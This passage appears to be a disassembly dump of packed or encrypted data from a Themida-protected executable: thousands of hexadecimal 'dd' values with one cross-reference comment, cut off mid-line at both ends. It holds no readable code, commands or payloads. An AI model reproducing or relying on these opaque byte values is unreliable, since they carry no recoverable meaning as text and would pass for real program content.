1BC990EBh, 0C1CD1323h, 81C690EFh dd 0F9B1132Ah, 2477176Fh, 0D7126066h, 0CD2A3CE3h, 1A5A4660h dd 0DDFCAB86h, 543B90D3h, 73B79860h, 0BB34505Fh, 0B2B79CB6h dd 0D734596Fh, 0CD2A3CE3h, 0C35A5260h, 0DDF5A438h, 543B90D3h dd 73B79860h, 0BB34505Fh, 0B6B79CB6h, 9234596Fh, 0CD301CDBh dd 64471560h, 3A1B90A0h, 79751323h, 6E506B63h, 4DB7A099h dd 0A7BF1323h, 17772C9Dh, 0DBBC599h, 427E1CFEh, 3A1B90A0h dd 79711323h, 1A481C90h, 4DB7A099h, 0A7BF1323h, 17772C9Dh dd 0DBBC599h, 427E1CFAh, 3A1B90A0h, 79711323h, 74138246h dd 4DB7A099h, 0A7BF1323h, 17772C9Dh, 0DBBC599h, 427E1CC6h dd 203BA8E5h, 64321323h, 0A1B7D326h, 734507Eh, 229A160Eh dd 9487EAEDh, 534506Fh, 10BEEE3h, 0ABE2EA60h, 5D3BBDE3h dd 0A1B7D360h, 734507Eh, 7904C00Eh, 9487EA83h, 534506Fh dd 10BEEE3h, 0ABE2EA60h, 5D3BB1E3h, 0A1B7D360h, 734507Eh dd 8800F40Eh, 9487EA8Ch, 534506Fh, 10BEEE3h, 0ABE2EA60h dd 5D3BB9E3h, 0A1B7D360h, 734507Eh, 0D39E220Eh, 9487EAE2h dd 534506Fh, 10BEEE3h, 0ABE2EA60h, 5D3BA5E3h, 0A1B7D360h dd 0B34507Eh, 17A2C10Eh, 9487EAF1h, 534506Fh, 10BEEE3h dd 0ABE2EA60h, 5D3BA1E3h, 0A1B7D360h, 0B34507Eh, 4C3C170Eh dd 9487EA9Fh, 534506Fh, 10BEEE3h, 0ABE2EA60h, 5D3BADE3h dd 0A1B7D360h, 934507Eh, 154B5C0Eh, 9487EAAEh, 534506Fh dd 10BEEE3h, 0ABE2EA60h, 5D3BD5E3h, 0A1B7D360h, 934507Eh dd 0D57F9C0Eh, 9487EABAh, 534506Fh, 10BEEE3h, 0ABE2EA60h dd 5D3BA9E3h, 0A1B7D360h, 1134507Eh, 391F220Eh, 9487EAFAh dd 534506Fh, 10BEEE3h, 0ABE2EA60h, 5D3BD1E3h, 0A1B7D360h dd 734507Eh, 0F7C23F0Eh, 9487EAB4h, 534506Fh, 10BEEE3h dd 0ABE2EA60h, 5D3BDDE3h, 0A1B7D360h, 1634507Eh, 6086FF0Eh dd 9487EA9Bh, 534506Fh, 10BEEE3h, 0ABE2EA60h, 540104E3h dd 0A1B7D360h, 334507Eh, 0BA6B8C0Eh, 9487EA84h, 534506Fh dd 10BEEE3h, 0ABE2EA60h, 5D3BD9E3h, 0A1B7D360h, 334507Eh dd 0DF52D70Eh, 9487EAD7h, 534506Fh, 10BEEE3h, 0ABE2EA60h dd 5D3BC5E3h, 0A1B7D360h, 334507Eh, 84CC010Eh, 9487EAB9h dd 534506Fh, 10BEEE3h dd 0ABE2EA60h, 5D3BC1E3h, 0A1B7D360h, 1B34507Eh, 72C07D0Eh dd 9487EAF8h, 534506Fh, 10BEEE3h, 0ABE2EA60h, 5D3BCDE3h dd 0A1B7D360h, 0B34507Eh, 0DE492A0Eh, 9487EAA1h, 534506Fh dd 10BEEE3h, 0ABE2EA60h, 5D3811E3h, 0A1B7D360h, 334507Eh dd 795C590Eh, 9487EA9Ch, 534506Fh, 10BEEE3h, 0ABE2EA60h dd 5D381DE3h, 0A1B7D360h, 334507Eh, 2416D80Eh, 9487EAA5h dd 534506Fh, 10BEEE3h, 0ABE2EA60h, 5D3819E3h, 0A1B7D360h dd 1B34507Eh, 9952D90Eh, 9487EAB2h, 534506Fh, 10BEEE3h dd 0ABE2EA60h, 5D3BC9E3h, 0A1B7D360h, 1B34507Eh, 0CB665B0Eh dd 9487EAF8h, 534506Fh, 10BEEE3h, 0ABE2EA60h, 5D3BF5E3h dd 0A1B7D360h, 1B34507Eh, 311A5D0Eh, 9487EAB7h, 534506Fh dd 10BEEE3h, 0ABE2EA60h, 5D3BF1E3h, 0E0367F60h, 44320566h dd 2222150Eh, 0EE327F66h, 0CD33F8F3h, 31B79C60h, 0AF345066h dd 5AE921E3h, 0E2E2EA60h, 54327D62h, 225A1566h, 7B321546h dd 65A7EA66h, 0CD345067h, 673204E3h, 0FCB79C60h, 0E2345076h dd 54327D26h, 225A1566h, 7B321466h, 65A7EA66h, 0CD345067h dd 671974E3h, 78879E60h, 3345061h, 13EF4FBh, 83879C60h dd 98345043h, 0CD346CFBh, 0A5AF9E60h, 0A934506Ah, 11CB966Dh dd 82ED9169h, 15621566h, 0ABF22606h, 5434E8E3h, 880EAB60h dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h dd 9FBB0D18h, 177719DBh, 0D3DEAE3h, 4432156Ch, 22231B8Eh dd 11A3FC66h, 3631566h, 40E07EB1h, 35AB80EFh, 15581323h dd 8822150Eh, 44584766h, 23DF8099h, 94BB1323h, 8E771DEFh dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 318F9EB1h, 0A1345066h dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 0CD34E8E3h dd 0B9A79E60h, 1B345060h, 543EA8F3h, 82B61A60h, 1E321566h dd 26F49638h, 0EECD8E8Fh db 99h, 4Fh word_5AF3C2 dw 0E96Ch ; DATA XREF: Themida_:0053FCD8o dd 0C1F54D3Fh, 2477141Fh, 11321566h, 986790A1h, 44321323h dd 9FB11566h, 177E1C2Ah, 80B61A66h, 0C9321566h, 696A34FBh dd 0EEE1EA60h, 0CD1768E3h, 398F9660h, 46345043h, 11509769h dd 0DF51566h, 4277301Bh, 22321567h, 35879806h, 534596Ch dd 8149ADBh, 0A9CC3E60h, 648F9EB1h, 0B345066h, 8401EAAFh dd 0E30013ECh, 96369E20h, 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch dd 0C1C5D4EDh, 986F905Fh, 0C03D1323h, 22321571h, 1627A8E5h dd 87321323h, 44321FE3h, 3BB7D266h, 1034504Ah, 0E9321566h dd 92EF83DFh, 0B79CAF58h, 989F29F9h, 0CD17B4D3h, 0B874D260h dd 22321566h, 0FFDCFB5Bh, 0A8B71A88h, 0C5321566h, 0FFEFC858h dd 5B71ABBh, 4F321566h, 44321560h, 26F49666h, 3493A0EFh dd 71DB1323h, 0CF32156Eh, 3BB726BEh, 0D034504Ah, 4A1916AEh dd 7722D5A7h, 3BAF9CA7h, 2C34504Ah, 88331566h, 44779669h dd 1CB31566h, 0AA89AEDDh, 880B9069h, 42F51566h, 22321566h dd 9836D3E5h, 0CD17B4D3h, 0A5AF9E60h, 0A934506Ah, 71E29E6Dh dd 0D19D7EDh, 42773ECFh, 2130F5A7h, 541BB4E3h, 8B9F8360h dd 60769CA7h, 5EDB747Ah, 40321566h, 3FB2634h, 13A9CF3h dd 2D302E60h, 11322DE2h, 8CF09666h, 0F9BF2E27h, 2D34506Ah dd 0EECDFDE3h, 81879899h, 0C934596Fh, 673C30DBh, 0D1B6B960h dd 88349169h, 0AD981566h, 0DDCDEA97h, 113215DEh, 94BF9866h dd 0BB345028h, 0DFBF9C87h, 4B345060h, 15B9433Fh, 42771987h dd 0A7B91EEDh, 1777139Bh, 0D31F5B7h, 42770D53h, 44A4E355h dd 13D2D4CBh, 0A1939065h, 0E9A41323h, 0A16CD465h, 543BC8DBh dd 0C3D1460h, 4432155Fh, 2BB7985Dh, 953D1323h, 8832154Bh dd 6FD7985Dh, 0A63D1323h, 11321547h, 95D3985Dh, 0C03D1323h dd 22321573h, 0F5588EBh, 5BCD132Ah, 0C1BBEDEDh, 24773003h dd 1134A18Fh, 0EFAF9866h, 0BB345978h, 0FF8F96B5h, 1134506Fh dd 882F9169h, 0C1091566h, 24771223h, 113E9169h, 0D091566h dd 427731EBh, 22379069h, 0A8DB1566h, 0B3CDEA99h, 12C84E3h dd 3AB71A60h, 92321566h, 0CD3230DBh, 0C13D1560h, 2232156Dh dd 0E1EF90EBh, 1DDB132Dh, 7FCDEA99h, 672C84E3h, 98B61A60h dd 0BCDEA99h, 83B10DBh, 0A73D1460h, 11321571h, 8156905Dh dd 0C13D132Ah, 2232156Dh, 0F79290EBh, 0E5DB153Eh, 77CDEA99h dd 0C38F9699h, 11345063h, 8B559169h, 0C1091566h, 247E1C36h dd 94B91213h, 8E7727CFh, 1CB72E21h, 5734596Fh, 24B79E61h dd 0CF345045h, 4D66905Dh, 2547132Ah, 103790EDh, 0B3751323h dd 83B49E3h, 0A9356060h, 543454E3h, 0D095260h, 427E1C06h dd 0A7B91213h, 1777270Fh, 0ECB72E21h, 3134596Fh, 43B79E61h dd 56345075h, 815A905Dh, 4347132Ah, 201B90EDh, 2A751323h dd 0C43B79E3h, 0CF356060h, 6700ECE3h, 94095260h, 8E7E1C16h dd 0C1B91213h, 2477157Bh, 65B72E21h, 0FD34596Fh, 0DDB79E61h dd 65345067h, 184E905Dh, 8F47132Ah, 61FB90EDh, 19751323h dd 5D3B6DE3h, 0B226060h, 1301CDBh, 25471560h, 314390EDh dd 0B751323h, 123C0DBh, 2D461560h, 1B36905Dh, 8F47132Ah dd 6BD390EDh, 0A1751323h, 541AA8DBh, 0FA461560h, 4543A8E5h dd 56321323h, 0F9B72E0Fh, 0FD34596Fh, 41B79E61h, 65345043h dd 18CA905Dh, 8F47132Ah, 587B90EDh, 19751323h, 5D3BF9E3h dd 3356060h, 126C0E3h, 0A7095260h, 177E1C9Ah, 0DB91213h dd 4277271Bh, 22B72E21h, 6434596Ch, 31B79E61h, 3345065h dd 2BC2905Dh, 1647132Ah, 0A90B90EDh, 7F751323h, 6E3BE1E3h dd 9A356060h, 0CD3C00E3h, 0F9B15260h, 24771417h, 1BB61A66h dd 0B3321564h, 83B95E3h, 0A9356060h, 541D9CE3h, 0D095260h dd 427E1F72h, 0A7B91213h, 17771C4Bh, 0CB72E21h, 3134596Fh dd 0D7B79E61h, 5634506Ah, 81BA905Dh, 4347132Ah, 2F0790EDh dd 2A751323h, 0C43B99E3h, 0CF356060h, 671368E3h, 94095260h dd 8E7E1CF6h, 0F9B10513h, 2477176Fh, 9A356066h, 0CD1E38E3h dd 0C1095260h, 247E1CF2h, 94B91213h, 8E770397h, 0DCB72E21h dd 5734596Fh, 188F9676h, 88345064h, 0C1B91213h, 24771EB7h dd 8DB72E21h, 0FD34596Fh, 25B79E61h, 65345063h, 1892905Dh dd 8F47132Ah, 67B790EDh, 19751323h, 5D3BBDE3h, 0B226060h dd 1301CDBh, 25471560h, 23F390EDh, 0B3751323h, 83BB1E3h dd 0A1226060h, 54301CDBh, 8F471560h, 512790EDh, 19751323h dd 5D3BB9E3h, 3356060h, 11718E3h, 0A7095260h, 177E1CD6h dd 0DB91213h, 42773F13h, 96B72E21h, 6434596Fh, 0D9B79E61h dd 334504Ch, 2B8A905Dh, 1647132Ah, 0ADCB90EDh, 7F751323h dd 6E3BA9E3h, 9A356060h, 0CD3BE8E3h, 0C1095260h, 247E1CA6h dd 94B91213h, 8E7702CBh, 80B72E21h, 5734596Fh, 0D4B79E61h dd 0CF34504Ah, 4DFA905Dh, 2547132Ah, 1A2B90EDh, 0B3751323h dd 10104E3h, 0A9356060h, 542130E3h, 0D095260h, 427E1CAAh dd 0A7B91213h, 17770C77h, 80B72E21h, 3134596Ch, 328F967Fh dd 1134596Ch, 35B11C13h, 42771CBBh, 0A9356166h, 543694E3h dd 0D095260h, 427E1F6Ah, 9FB10C13h, 177E1F76h, 0B3B6066h dd 13BC8DBh, 25461560h, 6E390EDh, 0B3751323h, 83BC5E3h dd 0A9356060h, 5433B8E3h, 0D095260h, 427E1CB2h, 0A7B91213h dd 177715E3h, 50B72E21h, 3134596Fh, 3FB79E61h, 56345071h dd 81EE905Dh, 4347132Ah, 246390EDh, 2A751323h, 0C43BF5E3h dd 0CF356060h, 673398E3h, 94095260h, 8E7E1C82h, 0C1B91213h dd 24773AEFh, 1ECD1E21h, 883210E2h, 0BFD8FC66h, 0A709EA99h dd 17770437h, 88399069h, 0C1BF1566h, 2479B037h, 0EEC9C68Fh dd 41B72E99h, 4B345079h, 22320DE3h, 148F9666h, 8934596Fh dd 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh, 4B72E99h dd 2D34596Fh, 113219E2h, 0CCB72E66h, 4B34596Fh, 223210E3h dd 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h, 11321523h dd 8106905Dh, 0C13D132Ah, 2232156Dh, 73D690EBh, 0E5DB153Eh dd 7FCDEA9Dh, 6E3B2DE3h, 1AB71A60h, 5321566h, 1C514FE3h dd 0D964FC66h, 9409EA99h, 8E7E1C5Ah, 44399069h, 0A7BF1566h dd 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h, 943DE36Dh dd 88321563h, 0BBC9368Fh, 0ABC29E99h, 5418E8D3h, 8D879C60h dd 0C434507Bh, 0A73DFC58h, 11321540h, 8B336BEDh, 0C5EC9E98h dd 227215A5h, 0EC8F2E66h, 8734504Ch, 44321DE4h, 2DC92E66h dd 113210E0h, 72D4FC66h, 0F9B9EA99h, 24771577h, 35CB90A1h dd 88321323h, 0CD521566h, 672F10D3h, 59AF9860h, 77345942h dd 66B01AB5h, 0AF321566h, 5B8187FBh, 87E1EA60h, 0BBCDCBE5h dd 27879E99h, 9834507Bh, 0CD16ECD3h, 8DAF9860h, 0DD345E31h dd 0ECB79EB5h, 134504Ch, 12F10E3h, 0BFBF7460h, 177E35D7h dd 15BFC699h, 427E36FFh, 0A13DC699h, 1132156Ah, 953790E5h dd 0AD371323h, 0DDCDEAB8h, 32F088EBh, 5BCD132Ah, 443A9669h dd 0E0B11566h, 1100FC62h, 15BF1566h, 4278A6F4h, 0A13DC699h dd 1132156Dh, 9537A0EDh, 0C4DB1323h, 0A9321561h, 542F10EBh dd 8D879C60h, 6F34507Bh, 9EBE2A8h, 0F896E697h, 77CDEAF0h dd 1C1388EBh, 0F1CD132Dh, 9419D2EDh, 8E771577h, 4DF390EFh dd 0A7B91323h, 17771577h, 5BF4531h, 42794DF0h, 0A7B9C499h dd 17773E07h, 0DB94236h dd 42771577h, 0E7BF9836h, 0EE345E3Eh, 3E29EB7h, 25BF3EAEh dd 0A134504Dh, 541E78DBh, 0C3D1560h, 4432154Dh, 0FB90EDh dd 94191323h, 8E77390Bh, 0C23DD45Dh, 22321571h, 4AF90EDh dd 0D311323h, 4277390Bh, 75790EFh, 52DB1323h, 0D9321566h dd 497AD4EDh, 22321A99h, 0D8B79C26h, 89345044h, 13838E3h dd 4FB7D260h, 1134504Ah, 0E2321566h, 54327D26h, 48631566h dd 0FCA7EA66h, 77345067h, 1180CF3h, 0BFB79C60h, 98345073h dd 0CD1770E3h, 0F1CD4C60h, 24773003h, 3A53A099h, 77651323h dd 13204D3h, 75B79860h, 0EE345E3Bh, 0E5BF14B6h, 0CF34504Ah dd 671770DBh, 70879E60h, 7B34504Dh, 0E5879EC2h, 8F345043h dd 11CE53A1h, 49321566h, 0D23710A6h, 210CC3BBh, 54101CE3h dd 0EDBF9E60h, 0CD345043h, 64F5B86Eh, 1132159Ah, 29879C66h dd 0C7345043h, 0A73DEA9Eh, 11321546h, 55EF2BE7h, 0C13DC8BBh dd 22321572h, 113213A1h, 4EB11566h, 0E5879C62h, 0CB345043h dd 0EECDE380h, 8B31D5A7h, 1101CE3h, 438F9660h, 10345073h dd 88AF9169h, 7AB31566h, 8898BFCCh, 11209069h, 4EB11566h dd 0B874D262h, 22321566h, 0F8DBA5F1h, 88321565h, 14DAA5F1h dd 2BEFA8E5h, 1E331323h, 88322BE2h, 4532AD66h, 9FB11566h dd 177E1C2Ah, 80B61A66h, 0C9321566h, 69528DFBh, 91E1EA60h dd 0C3D8559h, 4432156Eh, 0CB37D2E5h, 11321525h, 8762EDE5h dd 44321FE4h, 88A2A566h, 35DBBF3Eh, 0D0321566h, 0BB4D95CCh dd 3AB71A8Fh, 92321566h, 0C43B59DBh, 0C03D1560h, 2232156Eh dd 715A88EBh, 5BCD132Dh, 0CF3652EEh, 671770E3h, 92F53E60h dd 2599118Eh, 44CE53A1h, 0CB321566h, 0EECDEA77h, 0AD93A0EFh dd 2C601323h, 22329566h, 0A4CD150Ch, 8E771DEFh, 465B8099h dd 0A9681323h, 543EF4EBh, 8833D260h, 0C7321566h, 0AFBB11A7h dd 17771987h, 77C7058Fh, 4296FC99h, 0A9521566h, 543EF4EBh dd 13B9E60h, 83B5DEBh, 6C0A9460h, 1E7E5132h, 883209E3h dd 3CB37366h, 2D1C5962h, 113205E3h, 0BC29E66h, 0C1B913A0h dd 247708FFh, 1133138Fh, 3C29E66h, 0E8FB26B6h, 0A63D155Ah dd 1132153Bh, 0C3D385Ah, 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh dd 0A3D255Ah, 44321466h, 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah dd 44321596h, 0A43D4F5Ah, 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h dd 0A03D745Ah, 113215BEh, 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh dd 0C7095766h, 88F09169h, 5781566h, 0DDCD8F8Fh, 1EFB9099h dd 8832A6E2h, 7D879866h, 0A9345044h, 0A1C89EACh, 0D3DBB48h dd 0BBCDEA9Fh, 0FBC5DA4Dh, 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h dd 2477375Fh, 160F90EDh, 48B71323h, 44289069h, 0A7F41566h dd 17770D4Fh, 2FE07D21h, 0F1CDC1FCh, 24771CB3h, 698490EBh dd 58CD132Eh, 0C1E2EA34h, 1AB71AA6h, 9A321566h, 0CD3410E3h dd 4BF29060h, 22320FE3h, 38B7D366h, 0C434507Eh, 9E2EFC0Eh dd 0F787EABFh, 9C34506Fh, 0C04AA3E3h, 16E2EA60h, 0E2B7C599h dd 11379069h, 0A9DB1566h, 0CD321566h, 6E3B5DE3h, 9C644560h dd 0C04157E3h, 4FE2EA60h, 27B71AA6h, 0F8321566h, 88321562h dd 581651EFh, 0A952D607h, 5D3B5DEBh, 49B94560h, 0CF0E5565h dd 22329DF6h, 28A79C66h, 8D345066h, 4432159Eh, 0AB3E45EDh dd 540074F3h, 0CCB94D60h, 85193142h, 1053905Dh, 933D1323h dd 88321576h, 440B905Dh, 0A13D1323h, 11321562h, 8836D707h dd 6036D207h, 22321566h, 151651A1h, 88321566h, 443210DEh dd 3EBF9866h, 0EE345028h, 8EB87587h, 0C03DFC5Ah, 22321558h dd 953DFD5Ah, 88321524h, 0C03D1A5Ah, 22321574h, 953DD85Ah dd 88321559h, 0C03DFE5Ah, 2232152Fh, 4FB8D607h, 78D19567h dd 4BB2EEE6h, 0DDCDFAE3h, 92EC9E99h, 0D63113A5h, 4426FC64h dd 7CB91566h, 0EAC99667h, 881B9169h, 9AB91566h, 0A1334B65h dd 0D8DB10A5h, 87CDEA99h, 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh dd 88321F8Fh, 454C9566h, 8FB71A98h, 0F8CDEA99h, 77CDEA06h dd 13614430h, 0A89ED555h, 0E1D195BEh, 8742EEE6h, 4432F9E2h dd 2D3D2966h, 113230E2h, 87DB2966h, 443391E2h, 2DD92966h dd 113000E2h, 87D12966h, 443264E2h, 2DD02966h, 113056E2h dd 0D1694A66h, 0C1F5D638h, 247E1F7Eh, 11321560h, 6BB20BECh dd 0C4C99596h, 0DDD19069h, 9A7CEA99h, 0CD18E8E3h, 0BDA79E60h dd 0A9345042h, 17F196B8h, 0B3304B65h, 4CB01ABEh, 19321566h dd 0AFB41ABCh, 0A3CDEA99h, 42D996B9h, 8954B800h, 0D7B1BEF5h dd 0AC0E9C62h, 481661EFh, 3F37A0EFh, 4A6D1323h, 4CB14B3Fh dd 0BE52FC62h, 0A7F5EA99h, 177E1F7Eh, 88321564h, 0F23DCBEDh dd 0A2CB9568h, 113A9669h, 51311566h, 443FFC25h, 0CBB21566h dd 90EBE299h, 8832EA87h, 0CFEB3E66h, 6718E8E3h, 0E8A79E60h dd 0B345042h, 1336CDBh, 0A63D1460h, 113215C5h, 0A3DCD5Dh dd 443215FDh, 0A03DCF5Dh, 0EECDEA27h, 88329B8Fh, 5CB7D266h dd 2034596Ch, 9A321566h, 86841AB8h, 4BB2ECE6h, 22321DE5h dd 52EB1666h, 8832188Fh, 0BBDB9566h, 0C3B3CC91h, 11321599h dd 0DB9CC4Dh, 42773F9Bh, 6CB80EDh, 0ACB11323h, 8E77141Fh dd 0CB61A67h, 19321566h, 19B01ABEh, 0B3321566h, 0A2B41ABCh dd 6CCDEA98h, 9B981AD6h, 8B2A568h, 85381A87h, 0A1ED3ECCh dd 0BAA1118Dh, 130D3E5h, 12F10D3h, 5BB7D260h, 10345067h dd 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h, 0C6CDEA9Fh dd 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h, 40F69638h dd 0DDCBD28Fh, 9B7D299h, 8D34596Ch, 0CF321566h, 26F196B8h dd 94B90B65h, 8E773F9Bh, 60CB80EDh, 0A17C1323h, 542240DBh dd 0C3D1460h, 44321465h, 0A03DCD5Dh, 1132156Eh, 0E3DCF5Dh dd 4432154Dh, 3F37A0EFh, 8CB91323h, 8E7E1F7Eh, 48164967h dd 2232CB8Fh, 94F54A66h, 8E770533h, 44321567h, 0A16C4C3Dh dd 0E6DB11A2h, 0BCDEA9Eh, 1336CDBh, 0A63D1460h, 113215DDh dd 0A2CF884Dh, 0C9B91323h, 24771577h, 0DE19DE65h, 3837FCE5h dd 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h, 0C1F5EA99h dd 247E1F7Eh, 11321564h, 3E3DCBEDh, 0C4CB9568h, 223A9669h dd 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h, 1132EA87h dd 3EB3E66h, 118E8E3h, 0DBA79E60h, 0F8345042h, 77CDEA20h dd 4E2A90A1h, 2230132Ah, 0CFB91566h, 83CA369h, 0C73D959Fh dd 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h, 0DDD394BFh dd 3A321566h, 75B79EBFh, 0CF34504Ch, 6716ECF3h, 688F9660h dd 89345067h, 0BAFB9169h, 0FA09EA99h, 113A9769h, 52091566h dd 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh, 0AD9984CCh dd 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h, 2232157Eh dd 12EC9E35h, 4BB11438h, 0EEDAA563h, 0C9B1CA4Dh, 4A998662h dd 7137D3E5h, 0CF5444A5h, 2DF12960h, 113255E2h, 87F92966h dd 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h, 443225E2h dd 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh, 223218E3h dd 13749F66h, 280EE542h, 44119169h, 0DA6B1566h, 11322C8Fh dd 0C9FB2666h, 44320C8Fh, 2231AC66h, 1EDB1566h, 31321566h dd 44321560h, 2232108Fh, 1135AC66h, 2CC11566h, 60CB98EDh dd 0EBB71323h, 11349069h, 3DBB1566h, 4277319Fh, 44F1EC3Fh dd 0D20E13EDh, 88579169h dd 9CB81566h, 0A2C2F6E6h, 953D659Dh, 883215FAh, 0C03DFC5Ah dd 22321529h, 953DFE5Ah, 88321521h, 0C03DD75Ah, 22321559h dd 953DDE5Ah, 88321551h, 61CD2800h, 221F9169h, 0DB0E1566h dd 88179169h, 0A70E1566h, 22509169h, 2C541566h, 0D3DEA48h dd 4432156Bh, 63053ECh, 1E922996h, 883213E2h, 4BDBED66h dd 0AB321566h, 5416ECD3h, 41AF9860h, 0BB345E31h, 72F1ECB5h dd 982253EDh, 0CD19BCE3h, 82B14D60h, 838F987Ah, 0BC34504Fh dd 0AC165165h, 0F98F98CDh, 8F345047h, 35165165h, 35BFBE36h dd 42770D53h, 67616CBh, 0D26CBE4Eh, 2AAF9830h, 0BB345E31h dd 0FF95FCB5h, 0CEDFFFFFh, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h dd 0E7FCCC0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h dd 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh dd 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah dd 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h dd 43C1E424h, 0B132DCF1h, 0BA8C5EDBh, 0A8EDD871h, 458A42C3h dd 58DDAEA2h, 0C88260D5h, 1F594F38h, 0DF07462Ch, 52E3A047h dd 3C6D5h, 5492B85Eh, 0F305E983h, 0E4CB8BA4h, 0B1DABA31h dd 0EB32565Dh, 0EECCBC2Fh, 3C52501Ch, 0FA664211h, 0B977DDD3h dd 0F4B95163h, 0B575DF79h, 38221331h, 0F4B95A1Ah, 0A175DFBAh dd 0A1F09F36h, 34F436ABh, 83774EFCh, 0A4F305E9h, 9D11F1B0h dd 75FD7AF2h, 0DE17FB23h, 25FB3172h, 0FDF53FD5h, 3E30ECADh dd 0B7342291h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah, 987C2779h dd 73B6B470h, 0B8E0FFA0h, 0C87D7C64h, 0F305E983h, 8DDB8BA4h dd 4C0A24BDh, 0B8D8D06h, 0B8064C25h, 32156644h, 0E9C1CF2Bh dd 0D0073102h, 4C783C8h, 0F2850F49h, 8BFFFFFFh, 0A1BD83C0h dd 64530h, 0BD830975h, 64504BDh, 50197400h, 0B8C08B53h dd 411h, 2C418589h, 9D8D0645h, 647B5D3h, 585BD3FFh, 4BDBD83h dd 74000645h, 0B8535017h, 411h, 2C418589h, 9D8D0645h, 647B274h dd 585BD3FFh, 0F2BBC08Bh, 0EB4672A4h, 31A55004h, 553E97Ch dd 725F0000h, 4F841DBh, 0A818E17Bh, 45B485E7h, 0E1CF1A82h dd 861EB02Ch, 0F16B208Eh, 9309B628h, 36B65546h, 0D755F0E3h dd 895648B2h, 391801B7h, 0D3C796A8h, 5586A42Ah, 91B0BF11h dd 0D41211B5h, 55A608B5h, 189EE74Eh, 0D8FECEC1h, 11B61C17h dd 9DDD5AABh, 7B2FD8CCh, 451C74FAh, 1E6E9657h, 59386762h dd 6F940DCh, 87DB277Bh, 0B63F3E21h, 0A8B76911h, 1811B63Fh dd 971B68CBh, 0EAB04BBEh, 40E69F13h, 8641449Ah, 0A4DB4C13h dd 0D186178Dh, 0B994C854h, 0F2548B9Eh, 992A9A4Bh, 4EBF961Ch dd 0D04CB9Bh, 9E1B76D1h, 3BCA3B0Eh, 6F1C8E67h, 31348C3Bh dd 0E14ABA63h, 0EA0B5FF2h, 6C60396Dh, 209156D3h, 0B63C3D61h dd 4DDF6E5Fh, 0B04F4069h, 55F0E33Ah, 9F934F11h, 695B11B5h dd 0C12F86DCh, 6E8C560Ch, 0B9B7C457h, 0B4F0F6A4h, 41ABD87Ah dd 19000000h, 6C32CDC0h, 0B5936F62h, 3E471111h, 0A9544716h dd 0A8737325h, 520D87Ah, 36BCCC5Eh, 848CE9Eh, 1, 6BCCC0BAh dd 1D41CE77h, 0F3B75044h, 4218AB1Ah, 88435A98h, 28F16B14h dd 0AC920AB5h, 0FA0AF855h, 3A68C6h, 0A065538Ah, 16AF23FAh dd 64259544h, 5BD5B6EEh, 0B9198742h, 70E9808Ch, 0F6A6B14Eh dd 11B5A8E9h, 0AB0AB327h, 0FA4FDD5Ah, 4F267C07h, 3DECAE5Fh dd 0CB6A30C9h, 3A260F47h, 0B95F7723h, 5138D87Ah, 8A000000h dd 693DD2C0h, 0EFC105h, 4011B592h, 4ECB7A6Bh, 0E0A111C8h dd 3B4290BAh, 0EF7D1280h, 43E7AC1Ah, 0B66CFBEAh, 2CC56A19h dd 357C22AFh, 4E48122Bh, 9D87B3Eh, 4Ch, 3DD2C0BBh, 8B3CAC7Dh dd 0F8D026D7h, 4D11B021h, 14CFD676h, 457BE1A6h, 7B33CCC0h dd 22AF6ECEh, 0C248DA78h, 0A10EC48Ah, 0E3D611B5h, 38AB0258h dd 3395D98Dh, 11B59F2Ch, 5CD44F94h, 0AFB9D649h, 0B6E2C496h dd 1BDD87Ah, 0F000000h, 6B3FD0C0h, 0A6655607h, 9B82980h dd 0D327A455h, 0A6FC877Ah, 83257921h, 11B591DCh, 99B1F64h dd 81ACF4h, 21AD6C7h, 0CBD2DF2h, 0AE5F4F86h, 0E455703Eh dd 0A22674AAh, 1B900FF0h, 0A9481EA7h, 882E622Ch, 17FAC2E7h dd 4F13B625h, 0ACDA07AEh, 7DECA0EDh, 97CF43C0h, 7668CB3Eh dd 0E76495C9h, 8641B485h, 0A77259F4h, 0BB365178h, 60715F37h dd 2817FA9Dh, 8E5F0518h, 2FE66C1Fh, 0DB9B01BCh, 4FBD9E12h dd 60B93DBAh, 358CD26Dh, 0DA7707C2h, 0BA3C9F38h, 8CC44AAFh dd 0DD182D3Fh, 0E3CD5FEAh, 0DEBFCD03h, 1915Ch, 625B6E00h dd 0D5259BD3h, 630FF0B4h, 2F54C12h, 0A114E547h, 0AEEAF52Bh dd 0B52817FAh, 7EA5540Ah, 32C24CF5h, 0AF21D5B6h, 4E416822h dd 8E673FB3h, 7F2E601Bh, 97A6FC91h, 0FEA45F52h, 0CAA3FB7Fh dd 0C28172D9h, 4A109D9Ch, 0B55B5B8Fh, 3CE1C207h, 0E2683EC9h dd 853B697Ch, 17FAB8DAh, 41901D66h, 8073AEB7h, 560767C5h dd 682EA467h, 